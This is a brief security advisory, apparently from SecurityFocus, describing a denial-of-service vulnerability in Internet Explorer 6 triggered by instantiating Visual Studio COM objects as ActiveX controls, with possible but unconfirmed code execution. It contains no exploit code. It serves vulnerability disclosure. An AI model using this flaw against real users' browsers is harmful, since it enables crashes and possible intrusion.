Microsoft Internet Explorer 6 denial of service via Visual Studio COM Object Instantiatio

source: https://www.securityfocus.com/bid/19572/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability that occurs when instantiating Visual Studio COM objects. 

The vulnerability arises because of the way Internet Explorer tries to instantiate certain COM objects as ActiveX controls, resulting in denial-of-service conditions. Remote code execution may be possible, but this has not been confirmed.

This BID may be related to the issues described in BID 14511 (Microsoft Internet Explorer COM Object Instantiation Buffer Overflow Vulnerability) and BID 15061 Microsoft Internet Explorer COM Object Instantiation Variant Vulnerability). Note, however, that this issue affects a different set of COM objects that were not addressed in the previous BIDs.
